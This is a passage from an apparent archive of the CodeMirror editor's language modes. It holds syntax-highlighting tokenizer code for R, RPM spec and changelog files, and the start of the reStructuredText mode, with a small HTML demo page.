"NaN", "NA_integer_", "NA_real_",
"NA_complex_", "NA_character_", "TRUE",
"FALSE"];
  var commonBuiltins = ["list", "quote",
"bquote", "eval", "return", "call",
"parse", "deparse"];
  var commonKeywords = ["if", "else",
"repeat", "while", "function",
"for", "in", "next", "break"];
  var commonBlockKeywords = ["if", "else",
"repeat", "while", "function",
"for"];

  CodeMirror.registerHelper("hintWords", "r",
commonAtoms.concat(commonBuiltins, commonKeywords));

  var atoms = wordObj(commonAtoms);
  var builtins = wordObj(commonBuiltins);
  var keywords = wordObj(commonKeywords);
  var blockkeywords = wordObj(commonBlockKeywords);
  var opChars = /[+\-*\/^<>=!&|~$:]/;
  var curPunc;

  function tokenBase(stream, state) {
    curPunc = null;
    var ch = stream.next();
    if (ch == "#") {
      stream.skipToEnd();
      return "comment";
    } else if (ch == "0" && stream.eat("x")) {
      stream.eatWhile(/[\da-f]/i);
      return "number";
    } else if (ch == "." && stream.eat(/\d/)) {
      stream.match(/\d*(?:e[+\-]?\d+)?/);
      return "number";
    } else if (/\d/.test(ch)) {
      stream.match(/\d*(?:\.\d+)?(?:e[+\-]\d+)?L?/);
      return "number";
    } else if (ch == "'" || ch == '"') {
      state.tokenize = tokenString(ch);
      return "string";
    } else if (ch == "`") {
      stream.match(/[^`]+`/);
      return "variable-3";
    } else if (ch == "." && stream.match(/.[.\d]+/)) {
      return "keyword";
    } else if (/[\w\.]/.test(ch) && ch != "_") {
      stream.eatWhile(/[\w\.]/);
      var word = stream.current();
      if (atoms.propertyIsEnumerable(word)) return "atom";
      if (keywords.propertyIsEnumerable(word)) {
        // Block keywords start new blocks, except 'else if',
which only starts
        // one new block for the 'if', no block for the
'else'.
        if (blockkeywords.propertyIsEnumerable(word) &&
            !stream.match(/\s*if(\s+|$)/, false))
          curPunc = "block";
        return "keyword";
      }
      if (builtins.propertyIsEnumerable(word)) return "builtin";
      return "variable";
    } else if (ch == "%") {
      if (stream.skipTo("%")) stream.next();
      return "operator variable-2";
    } else if (
        (ch == "<" && stream.eat("-")) ||
        (ch == "<" && stream.match("<-"))
||
        (ch == "-" && stream.match(/>>?/))
      ) {
      return "operator arrow";
    } else if (ch == "=" && state.ctx.argList) {
      return "arg-is";
    } else if (opChars.test(ch)) {
      if (ch == "$") return "operator dollar";
      stream.eatWhile(opChars);
      return "operator";
    } else if (/[\(\){}\[\];]/.test(ch)) {
      curPunc = ch;
      if (ch == ";") return "semi";
      return null;
    } else {
      return null;
    }
  }

  function tokenString(quote) {
    return function(stream, state) {
      if (stream.eat("\\")) {
        var ch = stream.next();
        if (ch == "x") stream.match(/^[a-f0-9]{2}/i);
        else if ((ch == "u" || ch == "U") &&
stream.eat("{") && stream.skipTo("}"))
stream.next();
        else if (ch == "u") stream.match(/^[a-f0-9]{4}/i);
        else if (ch == "U") stream.match(/^[a-f0-9]{8}/i);
        else if (/[0-7]/.test(ch)) stream.match(/^[0-7]{1,2}/);
        return "string-2";
      } else {
        var next;
        while ((next = stream.next()) != null) {
          if (next == quote) { state.tokenize = tokenBase; break; }
          if (next == "\\") { stream.backUp(1); break; }
        }
        return "string";
      }
    };
  }

  var ALIGN_YES = 1, ALIGN_NO = 2, BRACELESS = 4

  function push(state, type, stream) {
    state.ctx = {type: type,
                 indent: state.indent,
                 flags: 0,
                 column: stream.column(),
                 prev: state.ctx};
  }
  function setFlag(state, flag) {
    var ctx = state.ctx
    state.ctx = {type: ctx.type,
                 indent: ctx.indent,
                 flags: ctx.flags | flag,
                 column: ctx.column,
                 prev: ctx.prev}
  }
  function pop(state) {
    state.indent = state.ctx.indent;
    state.ctx = state.ctx.prev;
  }

  return {
    startState: function() {
      return {tokenize: tokenBase,
              ctx: {type: "top",
                    indent: -config.indentUnit,
                    flags: ALIGN_NO},
              indent: 0,
              afterIdent: false};
    },

    token: function(stream, state) {
      if (stream.sol()) {
        if ((state.ctx.flags & 3) == 0) state.ctx.flags |= ALIGN_NO
        if (state.ctx.flags & BRACELESS) pop(state)
        state.indent = stream.indentation();
      }
      if (stream.eatSpace()) return null;
      var style = state.tokenize(stream, state);
      if (style != "comment" && (state.ctx.flags &
ALIGN_NO) == 0) setFlag(state, ALIGN_YES)

      if ((curPunc == ";" || curPunc == "{" || curPunc
== "}") && state.ctx.type == "block")
pop(state);
      if (curPunc == "{") push(state, "}", stream);
      else if (curPunc == "(") {
        push(state, ")", stream);
        if (state.afterIdent) state.ctx.argList = true;
      }
      else if (curPunc == "[") push(state, "]",
stream);
      else if (curPunc == "block") push(state, "block",
stream);
      else if (curPunc == state.ctx.type) pop(state);
      else if (state.ctx.type == "block" && style !=
"comment") setFlag(state, BRACELESS)
      state.afterIdent = style == "variable" || style ==
"keyword";
      return style;
    },

    indent: function(state, textAfter) {
      if (state.tokenize != tokenBase) return 0;
      var firstChar = textAfter && textAfter.charAt(0), ctx =
state.ctx,
          closing = firstChar == ctx.type;
      if (ctx.flags & BRACELESS) ctx = ctx.prev
      if (ctx.type == "block") return ctx.indent + (firstChar ==
"{" ? 0 : config.indentUnit);
      else if (ctx.flags & ALIGN_YES) return ctx.column + (closing ? 0
: 1);
      else return ctx.indent + (closing ? 0 : config.indentUnit);
    },

    lineComment: "#"
  };
});

CodeMirror.defineMIME("text/x-rsrc", "r");

});
PKJ��[�#���codemirror/mode/r/r.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.registerHelper("wordChars","r",/[\w.]/),a.defineMode("r",(function(b){function
c(a){for(var b={},c=0;c<a.length;++c)b[a[c]]=!0;return b}function
d(a,b){m=null;var c=a.next();if("#"==c)return
a.skipToEnd(),"comment";if("0"==c&&a.eat("x"))return
a.eatWhile(/[\da-f]/i),"number";if("."==c&&a.eat(/\d/))return
a.match(/\d*(?:e[+\-]?\d+)?/),"number";if(/\d/.test(c))return
a.match(/\d*(?:\.\d+)?(?:e[+\-]\d+)?L?/),"number";if("'"==c||'"'==c)return
b.tokenize=e(c),"string";if("`"==c)return
a.match(/[^`]+`/),"variable-3";if("."==c&&a.match(/.[.\d]+/))return"keyword";if(/[\w\.]/.test(c)&&"_"!=c){a.eatWhile(/[\w\.]/);var
d=a.current();return
n.propertyIsEnumerable(d)?"atom":p.propertyIsEnumerable(d)?(q.propertyIsEnumerable(d)&&!a.match(/\s*if(\s+|$)/,!1)&&(m="block"),"keyword"):o.propertyIsEnumerable(d)?"builtin":"variable"}return"%"==c?(a.skipTo("%")&&a.next(),"operator
variable-2"):"<"==c&&a.eat("-")||"<"==c&&a.match("<-")||"-"==c&&a.match(/>>?/)?"operator
arrow":"="==c&&b.ctx.argList?"arg-is":r.test(c)?"$"==c?"operator
dollar":(a.eatWhile(r),"operator"):/[\(\){}\[\];]/.test(c)?(m=c,";"==c?"semi":null):null}function
e(a){return function(b,c){if(b.eat("\\")){var
e=b.next();return"x"==e?b.match(/^[a-f0-9]{2}/i):("u"==e||"U"==e)&&b.eat("{")&&b.skipTo("}")?b.next():"u"==e?b.match(/^[a-f0-9]{4}/i):"U"==e?b.match(/^[a-f0-9]{8}/i):/[0-7]/.test(e)&&b.match(/^[0-7]{1,2}/),"string-2"}for(var
f;null!=(f=b.next());){if(f==a){c.tokenize=d;break}if("\\"==f){b.backUp(1);break}}return"string"}}function
f(a,b,c){a.ctx={type:b,indent:a.indent,flags:0,column:c.column(),prev:a.ctx}}function
g(a,b){var
c=a.ctx;a.ctx={type:c.type,indent:c.indent,flags:c.flags|b,column:c.column,prev:c.prev}}function
h(a){a.indent=a.ctx.indent,a.ctx=a.ctx.prev}var
i=["NULL","NA","Inf","NaN","NA_integer_","NA_real_","NA_complex_","NA_character_","TRUE","FALSE"],j=["list","quote","bquote","eval","return","call","parse","deparse"],k=["if","else","repeat","while","function","for","in","next","break"],l=["if","else","repeat","while","function","for"];a.registerHelper("hintWords","r",i.concat(j,k));var
m,n=c(i),o=c(j),p=c(k),q=c(l),r=/[+\-*\/^<>=!&|~$:]/;return{startState:function(){return{tokenize:d,ctx:{type:"top",indent:-b.indentUnit,flags:2},indent:0,afterIdent:!1}},token:function(a,b){if(a.sol()&&(0==(3&b.ctx.flags)&&(b.ctx.flags|=2),4&b.ctx.flags&&h(b),b.indent=a.indentation()),a.eatSpace())return
null;var
c=b.tokenize(a,b);return"comment"!=c&&0==(2&b.ctx.flags)&&g(b,1),";"!=m&&"{"!=m&&"}"!=m||"block"!=b.ctx.type||h(b),"{"==m?f(b,"}",a):"("==m?(f(b,")",a),b.afterIdent&&(b.ctx.argList=!0)):"["==m?f(b,"]",a):"block"==m?f(b,"block",a):m==b.ctx.type?h(b):"block"==b.ctx.type&&"comment"!=c&&g(b,4),b.afterIdent="variable"==c||"keyword"==c,c},indent:function(a,c){if(a.tokenize!=d)return
0;var e=c&&c.charAt(0),f=a.ctx,g=e==f.type;return
4&f.flags&&(f=f.prev),"block"==f.type?f.indent+("{"==e?0:b.indentUnit):1&f.flags?f.column+(g?0:1):f.indent+(g?0:b.indentUnit)},lineComment:"#"}})),a.defineMIME("text/x-rsrc","r")}));PKJ��[���uu&codemirror/mode/rpm/changes/index.htmlnu�[���<!doctype
html>

<title>CodeMirror: RPM changes mode</title>
<meta charset="utf-8"/>
<link rel=stylesheet href="../../doc/docs.css">

    <link rel="stylesheet"
href="../../../lib/codemirror.css">
    <script
src="../../../lib/codemirror.js"></script>
    <script src="changes.js"></script>
    <link rel="stylesheet"
href="../../../doc/docs.css">
    <style>.CodeMirror {border-top: 1px solid black; border-bottom:
1px solid black;}</style>

<div id=nav>
  <a
href="https://codemirror.net"><h1>CodeMirror</h1><img
id=logo src="../../../doc/logo.png"></a>

  <ul>
    <li><a href="../../../index.html">Home</a>
    <li><a
href="../../../doc/manual.html">Manual</a>
    <li><a
href="https://github.com/codemirror/codemirror">Code</a>
  </ul>
  <ul>
    <li><a href="../../index.html">Language
modes</a>
    <li><a class=active href="#">RPM
changes</a>
  </ul>
</div>

<article>
<h2>RPM changes mode</h2>

    <div><textarea id="code" name="code">
-------------------------------------------------------------------
Tue Oct 18 13:58:40 UTC 2011 - misterx@example.com

- Update to r60.3
- Fixes bug in the reflect package
  * disallow Interface method on Value obtained via unexported name

-------------------------------------------------------------------
Thu Oct  6 08:14:24 UTC 2011 - misterx@example.com

- Update to r60.2
- Fixes memory leak in certain map types

-------------------------------------------------------------------
Wed Oct  5 14:34:10 UTC 2011 - misterx@example.com

- Tweaks for gdb debugging
- go.spec changes:
  - move %go_arch definition to %prep section
  - pass correct location of go specific gdb pretty printer and
    functions to cpp as HOST_EXTRA_CFLAGS macro
  - install go gdb functions & printer
- gdb-printer.patch
  - patch linker (src/cmd/ld/dwarf.c) to emit correct location of go
    gdb functions and pretty printer
</textarea></div>
    <script>
      var editor =
CodeMirror.fromTextArea(document.getElementById("code"), {
        mode: {name: "changes"},
        lineNumbers: true,
        indentUnit: 4
      });
    </script>

    <p><strong>MIME types defined:</strong>
<code>text/x-rpm-changes</code>.</p>
</article>
PKJ��[(�-��codemirror/mode/rpm/rpm.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("rpm-changes", function() {
  var headerSeperator = /^-+$/;
  var headerLine = /^(Mon|Tue|Wed|Thu|Fri|Sat|Sun)
(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)  ?\d{1,2}
\d{2}:\d{2}(:\d{2})? [A-Z]{3,4} \d{4} - /;
  var simpleEmail = /^[\w+.-]+@[\w.-]+/;

  return {
    token: function(stream) {
      if (stream.sol()) {
        if (stream.match(headerSeperator)) { return 'tag'; }
        if (stream.match(headerLine)) { return 'tag'; }
      }
      if (stream.match(simpleEmail)) { return 'string'; }
      stream.next();
      return null;
    }
  };
});

CodeMirror.defineMIME("text/x-rpm-changes",
"rpm-changes");

// Quick and dirty spec file highlighting

CodeMirror.defineMode("rpm-spec", function() {
  var arch =
/^(i386|i586|i686|x86_64|ppc64le|ppc64|ppc|ia64|s390x|s390|sparc64|sparcv9|sparc|noarch|alphaev6|alpha|hppa|mipsel)/;

  var preamble = /^[a-zA-Z0-9()]+:/;
  var section =
/^%(debug_package|package|description|prep|build|install|files|clean|changelog|preinstall|preun|postinstall|postun|pretrans|posttrans|pre|post|triggerin|triggerun|verifyscript|check|triggerpostun|triggerprein|trigger)/;
  var control_flow_complex = /^%(ifnarch|ifarch|if)/; // rpm control flow
macros
  var control_flow_simple = /^%(else|endif)/; // rpm control flow macros
  var operators =
/^(\!|\?|\<\=|\<|\>\=|\>|\=\=|\&\&|\|\|)/; // operators
in control flow macros

  return {
    startState: function () {
        return {
          controlFlow: false,
          macroParameters: false,
          section: false
        };
    },
    token: function (stream, state) {
      var ch = stream.peek();
      if (ch == "#") { stream.skipToEnd(); return
"comment"; }

      if (stream.sol()) {
        if (stream.match(preamble)) { return "header"; }
        if (stream.match(section)) { return "atom"; }
      }

      if (stream.match(/^\$\w+/)) { return "def"; } // Variables
like '$RPM_BUILD_ROOT'
      if (stream.match(/^\$\{\w+\}/)) { return "def"; } //
Variables like '${RPM_BUILD_ROOT}'

      if (stream.match(control_flow_simple)) { return "keyword";
}
      if (stream.match(control_flow_complex)) {
        state.controlFlow = true;
        return "keyword";
      }
      if (state.controlFlow) {
        if (stream.match(operators)) { return "operator"; }
        if (stream.match(/^(\d+)/)) { return "number"; }
        if (stream.eol()) { state.controlFlow = false; }
      }

      if (stream.match(arch)) {
        if (stream.eol()) { state.controlFlow = false; }
        return "number";
      }

      // Macros like '%make_install' or
'%attr(0775,root,root)'
      if (stream.match(/^%[\w]+/)) {
        if (stream.match(/^\(/)) { state.macroParameters = true; }
        return "keyword";
      }
      if (state.macroParameters) {
        if (stream.match(/^\d+/)) { return "number";}
        if (stream.match(/^\)/)) {
          state.macroParameters = false;
          return "keyword";
        }
      }

      // Macros like '%{defined fedora}'
      if (stream.match(/^%\{\??[\w \-\:\!]+\}/)) {
        if (stream.eol()) { state.controlFlow = false; }
        return "def";
      }

      //TODO: Include bash script sub-parser (CodeMirror supports that)
      stream.next();
      return null;
    }
  };
});

CodeMirror.defineMIME("text/x-rpm-spec", "rpm-spec");

});
PKJ��[�����codemirror/mode/rpm/rpm.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("rpm-changes",(function(){var
a=/^-+$/,b=/^(Mon|Tue|Wed|Thu|Fri|Sat|Sun)
(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)  ?\d{1,2}
\d{2}:\d{2}(:\d{2})? [A-Z]{3,4} \d{4} -
/,c=/^[\w+.-]+@[\w.-]+/;return{token:function(d){if(d.sol()){if(d.match(a))return"tag";if(d.match(b))return"tag"}return
d.match(c)?"string":(d.next(),null)}}})),a.defineMIME("text/x-rpm-changes","rpm-changes"),a.defineMode("rpm-spec",(function(){var
a=/^(i386|i586|i686|x86_64|ppc64le|ppc64|ppc|ia64|s390x|s390|sparc64|sparcv9|sparc|noarch|alphaev6|alpha|hppa|mipsel)/,b=/^[a-zA-Z0-9()]+:/,c=/^%(debug_package|package|description|prep|build|install|files|clean|changelog|preinstall|preun|postinstall|postun|pretrans|posttrans|pre|post|triggerin|triggerun|verifyscript|check|triggerpostun|triggerprein|trigger)/,d=/^%(ifnarch|ifarch|if)/,e=/^%(else|endif)/,f=/^(\!|\?|\<\=|\<|\>\=|\>|\=\=|\&\&|\|\|)/;return{startState:function(){return{controlFlow:!1,macroParameters:!1,section:!1}},token:function(g,h){if("#"==g.peek())return
g.skipToEnd(),"comment";if(g.sol()){if(g.match(b))return"header";if(g.match(c))return"atom"}if(g.match(/^\$\w+/))return"def";if(g.match(/^\$\{\w+\}/))return"def";if(g.match(e))return"keyword";if(g.match(d))return
h.controlFlow=!0,"keyword";if(h.controlFlow){if(g.match(f))return"operator";if(g.match(/^(\d+)/))return"number";g.eol()&&(h.controlFlow=!1)}if(g.match(a))return
g.eol()&&(h.controlFlow=!1),"number";if(g.match(/^%[\w]+/))return
g.match(/^\(/)&&(h.macroParameters=!0),"keyword";if(h.macroParameters){if(g.match(/^\d+/))return"number";if(g.match(/^\)/))return
h.macroParameters=!1,"keyword"}return g.match(/^%\{\??[\w
\-\:\!]+\}/)?(g.eol()&&(h.controlFlow=!1),"def"):(g.next(),null)}}})),a.defineMIME("text/x-rpm-spec","rpm-spec")}));PKJ��[&��njD�Dcodemirror/mode/rst/rst.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("../python/python"), require("../stex/stex"),
require("../../addon/mode/overlay"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror", "../python/python",
"../stex/stex", "../../addon/mode/overlay"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode('rst', function (config, options) {

  var rx_strong = /^\*\*[^\*\s](?:[^\*]*[^\*\s])?\*\*/;
  var rx_emphasis = /^\*[^\*\s](?:[^\*]*[^\*\s])?\*/;
  var rx_literal = /^``[^`\s](?:[^`]*[^`\s])``/;

  var rx_number = /^(?:[\d]+(?:[\.,]\d+)*)/;
  var rx_positive = /^(?:\s\+[\d]+(?:[\.,]\d+)*)/;
  var rx_negative = /^(?:\s\-[\d]+(?:[\.,]\d+)*)/;

  var rx_uri_protocol = "[Hh][Tt][Tt][Pp][Ss]?://";
  var rx_uri_domain = "(?:[\\d\\w.-]+)\\.(?:\\w{2,6})";
  var rx_uri_path =
"(?:/[\\d\\w\\#\\%\\&\\-\\.\\,\\/\\:\\=\\?\\~]+)*";
  var rx_uri = new RegExp("^" + rx_uri_protocol + rx_uri_domain +
rx_uri_path);

  var overlay = {
    token: function (stream) {

      if (stream.match(rx_strong) && stream.match (/\W+|$/, false))
        return 'strong';
      if (stream.match(rx_emphasis) && stream.match (/\W+|$/,
false))
        return 'em';
      if (stream.match(rx_literal) && stream.match (/\W+|$/,
false))
        return 'string-2';
      if (stream.match(rx_number))
        return 'number';
      if (stream.match(rx_positive))
        return 'positive';
      if (stream.match(rx_negative))
        return 'negative';
      if (stream.match(rx_uri))
        return 'link';

      while (stream.next() != null) {
        if (stream.match(rx_strong, false)) break;
        if (stream.match(rx_emphasis, false)) break;
        if (stream.match(rx_literal, false)) break;
        if (stream.match(rx_number, false)) break;
        if (stream.match(rx_positive, false)) break;
        if (stream.match(rx_negative, false)) break;
        if (stream.match(rx_uri, false)) break;
      }

      return null;
    }
  };

  var mode = CodeMirror.getMode(
    config, options.backdrop || 'rst-base'
  );

  return CodeMirror.overlayMode(mode, overlay, true); // combine
}, 'python', 'stex');

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

CodeMirror.defineMode('rst-base', function (config) {

 
///////////////////////////////////////////////////////////////////////////
 
///////////////////////////////////////////////////////////////////////////

  function format(string) {
    var args = Array.prototype.slice.call(arguments, 1);
    return string.replace(/{(\d+)}/g, function (match, n) {
      return typeof args[n] != 'undefined' ? args[n] : match;
    });
  }

 
///////////////////////////////////////////////////////////////////////////
 
///////////////////////////////////////////////////////////////////////////

  var mode_python = CodeMirror.getMode(config, 'python');
  var mode_stex = CodeMirror.getMode(config, 'stex');

 
///////////////////////////////////////////////////////////////////////////
 
///////////////////////////////////////////////////////////////////////////

  var SEPA = "\\s+";
  var TAIL = "(?:\\s*|\\W|$)",
  rx_TAIL = new RegExp(format('^{0}', TAIL));

  var NAME =
   
"(?:[^\\W\\d_](?:[\\w!\"#$%&'()\\*\\+,\\-\\.\/:;<=>\\?]*[^\\W_])?)",
  rx_NAME = new RegExp(format('^{0}', NAME));
  var NAME_WWS =
   
"(?:[^\\W\\d_](?:[\\w\\s!\"#$%&'()\\*\\+,\\-\\.\/:;<=>\\?]*[^\\W_])?)";
  var REF_NAME = format('(?:{0}|`{1}`)', NAME, NAME_WWS);

  var TEXT1 = "(?:[^\\s\\|](?:[^\\|]*[^\\s\\|])?)";
  var TEXT2 = "(?:[^\\`]+)",
  rx_TEXT2 = new RegExp(format('^{0}', TEXT2));

  var rx_section = new RegExp(
   
"^([!'#$%&\"()*+,-./:;<=>?@\\[\\\\\\]^_`{|}~])\\1{3,}\\s*$");
  var rx_explicit = new RegExp(
    format('^\\.\\.{0}', SEPA));
  var rx_link = new RegExp(
    format('^_{0}:{1}|^__:{1}', REF_NAME, TAIL));
  var rx_directive = new RegExp(
    format('^{0}::{1}', REF_NAME, TAIL));
  var rx_substitution = new RegExp(
    format('^\\|{0}\\|{1}{2}::{3}', TEXT1, SEPA, REF_NAME,
TAIL));
  var rx_footnote = new RegExp(
    format('^\\[(?:\\d+|#{0}?|\\*)]{1}', REF_NAME, TAIL));
  var rx_citation = new RegExp(
    format('^\\[{0}\\]{1}', REF_NAME, TAIL));

  var rx_substitution_ref = new RegExp(
    format('^\\|{0}\\|', TEXT1));
  var rx_footnote_ref = new RegExp(
    format('^\\[(?:\\d+|#{0}?|\\*)]_', REF_NAME));
  var rx_citation_ref = new RegExp(
    format('^\\[{0}\\]_', REF_NAME));
  var rx_link_ref1 = new RegExp(
    format('^{0}__?', REF_NAME));
  var rx_link_ref2 = new RegExp(
    format('^`{0}`_', TEXT2));

  var rx_role_pre = new RegExp(
    format('^:{0}:`{1}`{2}', NAME, TEXT2, TAIL));
  var rx_role_suf = new RegExp(
    format('^`{1}`:{0}:{2}', NAME, TEXT2, TAIL));
  var rx_role = new RegExp(
    format('^:{0}:{1}', NAME, TAIL));

  var rx_directive_name = new RegExp(format('^{0}', REF_NAME));
  var rx_directive_tail = new RegExp(format('^::{0}', TAIL));
  var rx_substitution_text = new RegExp(format('^\\|{0}\\|',
TEXT1));
  var rx_substitution_sepa = new RegExp(format('^{0}', SEPA));
  var rx_substitution_name = new RegExp(format('^{0}',
REF_NAME));
  var rx_substitution_tail = new RegExp(format('^::{0}', TAIL));
  var rx_link_head = new RegExp("^_");
  var rx_link_name = new RegExp(format('^{0}|_', REF_NAME));
  var rx_link_tail = new RegExp(format('^:{0}', TAIL));

  var rx_verbatim = new RegExp('^::\\s*$');
  var rx_examples = new RegExp('^\\s+(?:>>>|In
\\[\\d+\\]:)\\s');

 
///////////////////////////////////////////////////////////////////////////
 
///////////////////////////////////////////////////////////////////////////

  function to_normal(stream, state) {
    var token = null;

    if (stream.sol() && stream.match(rx_examples, false)) {
      change(state, to_mode, {
        mode: mode_python, local: CodeMirror.startState(mode_python)
      });
    } else if (stream.sol() && stream.match(rx_explicit)) {
      change(state, to_explicit);
      token = 'meta';
    } else if (stream.sol() && stream.match(rx_section)) {
      change(state, to_normal);
      token = 'header';
    } else if (phase(state) == rx_role_pre ||
               stream.match(rx_role_pre, false)) {

      switch (stage(state)) {
      case 0:
        change(state, to_normal, context(rx_role_pre, 1));
        stream.match(/^:/);
        token = 'meta';
        break;
      case 1:
        change(state, to_normal, context(rx_role_pre, 2));
        stream.match(rx_NAME);
        token = 'keyword';

        if (stream.current().match(/^(?:math|latex)/)) {
          state.tmp_stex = true;
        }
        break;
      case 2:
        change(state, to_normal, context(rx_role_pre, 3));
        stream.match(/^:`/);
        token = 'meta';
        break;
      case 3:
        if (state.tmp_stex) {
          state.tmp_stex = undefined; state.tmp = {
            mode: mode_stex, local: CodeMirror.startState(mode_stex)
          };
        }

        if (state.tmp) {
          if (stream.peek() == '`') {
            change(state, to_normal, context(rx_role_pre, 4));
            state.tmp = undefined;
            break;
          }

          token = state.tmp.mode.token(stream, state.tmp.local);
          break;
        }

        change(state, to_normal, context(rx_role_pre, 4));
        stream.match(rx_TEXT2);
        token = 'string';
        break;
      case 4:
        change(state, to_normal, context(rx_role_pre, 5));
        stream.match(/^`/);
        token = 'meta';
        break;
      case 5:
        change(state, to_normal, context(rx_role_pre, 6));
        stream.match(rx_TAIL);
        break;
      default:
        change(state, to_normal);
      }
    } else if (phase(state) == rx_role_suf ||
               stream.match(rx_role_suf, false)) {

      switch (stage(state)) {
      case 0:
        change(state, to_normal, context(rx_role_suf, 1));
        stream.match(/^`/);
        token = 'meta';
        break;
      case 1:
        change(state, to_normal, context(rx_role_suf, 2));
        stream.match(rx_TEXT2);
        token = 'string';
        break;
      case 2:
        change(state, to_normal, context(rx_role_suf, 3));
        stream.match(/^`:/);
        token = 'meta';
        break;
      case 3:
        change(state, to_normal, context(rx_role_suf, 4));
        stream.match(rx_NAME);
        token = 'keyword';
        break;
      case 4:
        change(state, to_normal, context(rx_role_suf, 5));
        stream.match(/^:/);
        token = 'meta';
        break;
      case 5:
        change(state, to_normal, context(rx_role_suf, 6));
        stream.match(rx_TAIL);
        break;
      default:
        change(state, to_normal);
      }
    } else if (phase(state) == rx_role || stream.match(rx_role, false)) {

      switch (stage(state)) {
      case 0:
        change(state, to_normal, context(rx_role, 1));
        stream.match(/^:/);
        token = 'meta';
        break;
      case 1:
        change(state, to_normal, context(rx_role, 2));
        stream.match(rx_NAME);
        token = 'keyword';
        break;
      case 2:
        change(state, to_normal, context(rx_role, 3));
        stream.match(/^:/);
        token = 'meta';
        break;
      case 3:
        change(state, to_normal, context(rx_role, 4));
        stream.match(rx_TAIL);
        break;
      default:
        change(state, to_normal);
      }
    } else if (phase(state) == rx_substitution_ref ||
               stream.match(rx_substitution_ref, false)) {

      switch (stage(state)) {
      case 0:
        change(state, to_normal, context(rx_substitution_ref, 1));
        stream.match(rx_substitution_text);
        token = 'variable-2';
        break;
      case 1:
        change(state, to_normal, context(rx_substitution_ref, 2));
        if (stream.match(/^_?_?/)) token = 'link';
        break;
      default:
        change(state, to_normal);
      }
    } else if (stream.match(rx_footnote_ref)) {
      change(state, to_normal);
      token = 'quote';
    } else if (stream.match(rx_citation_ref)) {
      change(state, to_normal);
      token = 'quote';
    } else if (stream.match(rx_link_ref1)) {
      change(state, to_normal);
      if (!stream.peek() || stream.peek().match(/^\W$/)) {
        token = 'link';
      }
    } else if (phase(state) == rx_link_ref2 ||
               stream.match(rx_link_ref2, false)) {

      switch (stage(state)) {
      case 0:
        if (!stream.peek() || stream.peek().match(/^\W$/)) {
          change(state, to_normal, context(rx_link_ref2, 1));
        } else {
          stream.match(rx_link_ref2);
        }
        break;
      case 1:
        change(state, to_normal, context(rx_link_ref2, 2));
        stream.match(/^`/);
        token = 'link';
        break;
      case 2:
        change(state, to_normal, context(rx_link_ref2, 3));
        stream.match(rx_TEXT2);
        break;
      case 3:
        change(state, to_normal, context(rx_link_ref2, 4));
        stream.match(/^`_/);
        token = 'link';
        break;
      default:
        change(state, to_normal);
      }
    } else if (stream.match(rx_verbatim)) {
      change(state, to_verbatim);
    }

    else {
      if (stream.next()) change(state, to_normal);
    }

    return token;
  }

 
///////////////////////////////////////////////////////////////////////////
 
///////////////////////////////////////////////////////////////////////////

  function to_explicit(stream, state) {
    var token = null;

    if (phase(state) == rx_substitution ||
        stream.match(rx_substitution, false)) {

      switch (stage(state)) {
      case 0:
        change(state, to_explicit, context(rx_substitution, 1));
        stream.match(rx_substitution_text);
        token = 'variable-2';
        break;
      case 1:
        change(state, to_explicit, context(rx_substitution, 2));
        stream.match(rx_substitution_sepa);
        break;
      case 2:
        change(state, to_explicit, context(rx_substitution, 3));
        stream.match(rx_substitution_name);
        token = 'keyword';
        break;
      case 3:
        change(state, to_explicit, context(rx_substitution, 4));
        stream.match(rx_substitution_tail);
        token = 'meta';
        break;
      default:
        change(state, to_normal);
      }
    } else if (phase(state) == rx_directive ||
               stream.match(rx_directive, false)) {

      switch (stage(state)) {
      case 0:
        change(state, to_explicit, context(rx_directive, 1));
        stream.match(rx_directive_name);
        token = 'keyword';

        if (stream.current().match(/^(?:math|latex)/))
          state.tmp_stex = true;
        else if (stream.current().match(/^python/))
          state.tmp_py = true;
        break;
      case 1:
        change(state, to_explicit, context(rx_directive, 2));
        stream.match(rx_directive_tail);
        token = 'meta';

        if (stream.match(/^latex\s*$/) || state.tmp_stex) {
          state.tmp_stex = undefined; change(state, to_mode, {
            mode: mode_stex, local: CodeMirror.startState(mode_stex)
          });
        }
        break;
      case 2:
        change(state, to_explicit, context(rx_directive, 3));
        if (stream.match(/^python\s*$/) || state.tmp_py) {
          state.tmp_py = undefined; change(state, to_mode, {
            mode: mode_python, local: CodeMirror.startState(mode_python)
          });
        }
        break;
      default:
        change(state, to_normal);
      }
    } else if (phase(state) == rx_link || stream.match(rx_link, false)) {

      switch (stage(state)) {
      case 0:
        change(state, to_explicit, context(rx_link, 1));
        stream.match(rx_link_head);
        stream.match(rx_link_name);
        token = 'link';
        break;
      case 1:
        change(state, to_explicit, context(rx_link, 2));
        stream.match(rx_link_tail);
        token = 'meta';
        break;
      default:
        change(state, to_normal);
      }
    } else if (stream.match(rx_footnote)) {
      change(state, to_normal);
      token = 'quote';
    } else if (stream.match(rx_citation)) {
      change(state, to_normal);
      token = 'quote';
    }

    else {
      stream.eatSpace();
      if (stream.eol()) {
        change(state, to_normal);
      } else {
        stream.skipToEnd();
        change(state, to_comment);
        token = 'comment';
      }
    }

    return token;
  }

 
///////////////////////////////////////////////////////////////////////////
 
